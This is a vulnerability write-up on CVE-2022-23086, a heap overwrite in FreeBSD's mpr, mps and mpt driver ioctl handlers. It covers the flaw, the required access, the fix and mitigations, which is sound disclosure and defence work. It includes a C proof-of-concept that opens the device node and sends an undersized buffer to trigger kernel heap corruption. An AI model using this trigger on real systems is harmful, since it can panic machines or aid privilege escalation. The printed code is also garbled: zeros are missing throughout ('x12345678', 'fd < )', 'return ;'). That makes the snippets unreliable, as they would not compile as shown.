CVE-2022-23086 is a security vulnerability discovered in the FreeBSD SCSI host bus adapter (HBA) drivers: mpr, mps, and mpt. These drivers are responsible for handling communication between the system and certain storage controllers, such as those from LSI.

This write-up will cover the technical details of the vulnerability, show what’s going on in the source code, share links for further review, and demonstrate how an attacker might exploit this flaw.

Summary

The core of CVE-2022-23086 is a classic heap overwrite problem. The affected drivers include special Input/Output Control (ioctl) code handlers, specifically for *_CFG_PAGE read and write operations. These handlers allocate a memory buffer using a user-specified size, but then copy a fixed-size header into that buffer regardless of whether it fits.

If a user requests a buffer that’s too small, writing the header overruns their allocated buffer and overwrites adjacent data on the heap. This can lead to privilege escalation if sensitive heap structures are corrupted, but access is limited to users with special permissions.

Drivers Impacted: mpr(4), mps(4), and mpt(4) SCSI

- Access Required: You must have write access to a /dev/mpr*, /dev/mps*, or /dev/mpt* device node, which by default is typically limited to root and operator group members.

Vulnerable Code Walkthrough

The relevant code in these drivers is responsible for handling certain ioctl operations. Here’s a simplified, illustrative snippet (not copy-pasted, but modeled after the vulnerable pattern):

// Pseudocode for vulnerable memory allocation in ioctl handler

// Assume "user_size" is provided by the user (from ioctl struct)
void *user_buffer = malloc(user_size, M_DEVBUF, M_WAITOK);

// This is a fixed-size structure (from kernel code)
struct io_hdr hdr;  // sizeof(hdr) could be, say, 32 bytes

// Problem: We copy the header in, even if user_size < sizeof(hdr)!
memcpy(user_buffer, &hdr, sizeof(hdr));

What’s Wrong?

- User controls user_size. If it’s smaller than sizeof(hdr), the memcpy() call will overflow and stomp on whatever lies next in the heap—potentially sensitive kernel data.

Real Impact: Why Care?

If an attacker can write to one of the SCSI device nodes, they can intentionally trigger the heap overwrite and manipulate kernel memory. Overwriting heap data can corrupt driver states, object pointers, or function hooks, leading to privilege escalation (ex: gaining root code execution from operator group membership).

It’s important to note

- By default, the vulnerable device nodes are only writable by root or members of the operator group (not standard users).

Here’s a conceptual exploit in C, illustrating how a small buffer triggers the bug

#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define DUMMY_IOCTL_CODE   x12345678  // Replace with actual CFG_PAGE ioctl for your system

struct fake_ioctl_struct {
    size_t len;
    char *addr;
};

int main() {
    int fd = open("/dev/mpr", O_RDWR); // Or mps/mpt device
    if (fd < ) {
        perror("open");
        return 1;
    }

    // Intentionally too small: trigger heap overflow
    size_t too_small_size = 4;
    char *buffer = malloc(too_small_size);

    struct fake_ioctl_struct fake;
    fake.len = too_small_size;
    fake.addr = buffer;

    // Issue the vulnerable ioctl
    int ret = ioctl(fd, DUMMY_IOCTL_CODE, &fake);
    if (ret != )
        perror("ioctl");

    free(buffer);
    close(fd);
    return ;
}

Replace DUMMY_IOCTL_CODE and struct fake_ioctl_struct fields with the actual driver ioctl definitions.

The kernel allocates a too-small buffer for the header.

- The fixed-size header is copied into it, but the overflow corrupts data on the heap after your buffer.

*Danger:* If you run this as root/operator, you may panic your system or corrupt driver state.

Heap overwrites in the kernel are always dangerous.

- In practice, a determined attacker with operator access could craft an overflow to target data structures of their choosing, potentially escalating privileges or crashing the system.
- Because the device node is not world-accessible, casual local users cannot exploit this out-of-the-box. However, in shared environments or on desktops where users are added to operator for convenience, the risk increases.

How to Fix?

The official fix ensures that the driver always allocates at least as much memory as the header requires, regardless of user input.

size_t min_size = sizeof(hdr);
size_t alloc_size = user_size > min_size ? user_size : min_size;

void *user_buffer = malloc(alloc_size, M_DEVBUF, M_WAITOK);
memcpy(user_buffer, &hdr, min_size);

Users should upgrade to a version of FreeBSD with this patch applied! If you are unable to upgrade immediately, consider removing users from the operator group or restricting access to the device nodes in /dev/.

References

- FreeBSD Security Advisory (SA-22:17.mpr)
- CVE-2022-23086 at Mitre
- FreeBSD Commit Diff with Fix
- mpr(4), mps(4), mpt(4) Man Pages

Conclusion

CVE-2022-23086 shows how even a small coding error (trusting user buffer sizes) in kernel code can turn into a serious privilege escalation risk. Make sure you’re not running a vulnerable kernel, and always treat device node permissions with care. For more FreeBSD vulnerabilities and fixes, keep an eye on security.freebsd.org.

Timeline

Published on: 02/15/2024 05:15:09 UTC
Last modified on: 08/28/2024 20:35:00 UTC